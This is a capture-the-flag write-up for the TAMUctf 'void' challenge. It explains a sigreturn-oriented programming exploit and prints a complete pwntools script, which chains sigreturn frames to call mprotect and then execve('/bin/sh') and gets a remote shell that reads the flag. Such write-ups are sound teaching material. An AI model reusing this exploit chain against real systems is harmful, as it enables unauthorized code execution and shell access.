Tags: pwn srop 

Rating:

# Original witeup [here](https://hackappatoi.github.io/void/)

This is the output of checksec over the ELF of this challenge.

```
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

This was a cool little srop challenge!

the source code of this challenge was very tiny. This was the description
"Can't exploit it if there isn't anything to exploit, right? NX, no libc,
what else even can you do?!"

```c
void main() {
asm
(
"mov $0, %rax;"
"mov $0, %rdi;"
"mov %rsp, %rsi;"
"mov $2000, %rdx;"
"syscall;"
);
}

int _start() {
main();
asm(
"mov $60, %rax;"
"mov $0, %rdi;"
"syscall;"
);
}
```

As we can see the binary will read 2000 byte directly into the stack. There was only few gadget useful
but there was a syscall gadget, and this, with this gadget we can perform srop since also
the number of bytes read is enough for this technique.

In order to perform this technique is required a syscall gadged and a way to set the rax register.
In this binary we haven't a direct pop rax gadget, but we can set the rax value using th return
of the read syscall.

This technique abuses of the ```sigreturn``` syscall (id is 15 for 64 bit ). This syscall usually
restore the register state after a signal handler returns. So usually is never directly called
by a user. The stack contain the sigcontext structures that contain all the registers, so if we
can write enough byte in the stack we can control all the registers value.

Pwntools has some useful function that create a sigreturn frame (sigcontext) that will contain
the value of the registers.

My first plan was to call mprotect and then inject a shellcode, but then I have only called execve
with /bin/sh.

So I have used the first SigreturnFrame to perform a stack pivot,
so is not very elegant but it works! After te first syscall (mprotect) the rsp point to a well know
address and now I can point to the b'/bin/sh\x00' located at the end of the second sigreturn
frame (execve)

This is my exploit

```python
from pwn import *

context.binary = elf = ELF('./void')

#p = elf.process()
#gdb.attach(p)
p = remote("tamuctf.com", 443, ssl=True, sni="void")

base_address_text = 0x400000

sys_ptr = 0x0000000000401018
syscall = p64(sys_ptr)
vuln = p64(elf.sym.main)

vuln_ptr = next(elf.search(b'\x00\x10\x40')) # ptr prt to main
bin_addr = 0x400198 #searched in gdb since now the stack position is known

frame_mprotect = SigreturnFrame(kernel = 'amd64')
frame_mprotect.rax = 0x0a
frame_mprotect.rdi = base_address_text
frame_mprotect.rsi = 0x2000
frame_mprotect.rdx = 6#7
frame_mprotect.rsp = vuln_ptr
frame_mprotect.rip = sys_ptr

frame_execve = SigreturnFrame(kernel = 'amd64')
frame_execve.rax = 0x3b
frame_execve.rdi = bin_addr
frame_execve.rsi = 0
frame_execve.rdx = 0
frame_execve.rip = sys_ptr

payload = vuln + syscall + bytes(frame_mprotect)

p.sendline(payload)
log.info('Press any key')
input()
p.sendline(payload[8:8+14]) #set rax to 0xf
log.info('Press any key')
input()
payload = vuln + syscall + bytes(frame_execve) +b'/bin/sh\x00'
p.sendline(payload)
log.info('Press any key')
input()
p.sendline(payload[8:8+14]) #set rax to 0xf

p.interactive()
```

and this is the output:

```text
eurus@node-01-00:~/Scaricati/void$ python3 solver-template.py
[*] '/home/eurus/Scaricati/void/void'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to tamuctf.com on port 443: Done
[*] Press any key

[*] Press any key

[*] Press any key

[*] Switching to interactive mode
$ ls
docker_entrypoint.sh
flag.txt
void
$ cat flag.txt
gigem{1_6u355_7h475_h0w_w3_3xpl017_17}$
[*] Interrupted
[*] Closed connection to tamuctf.com port 443
```

Original writeup (https://hackappatoi.github.io/void).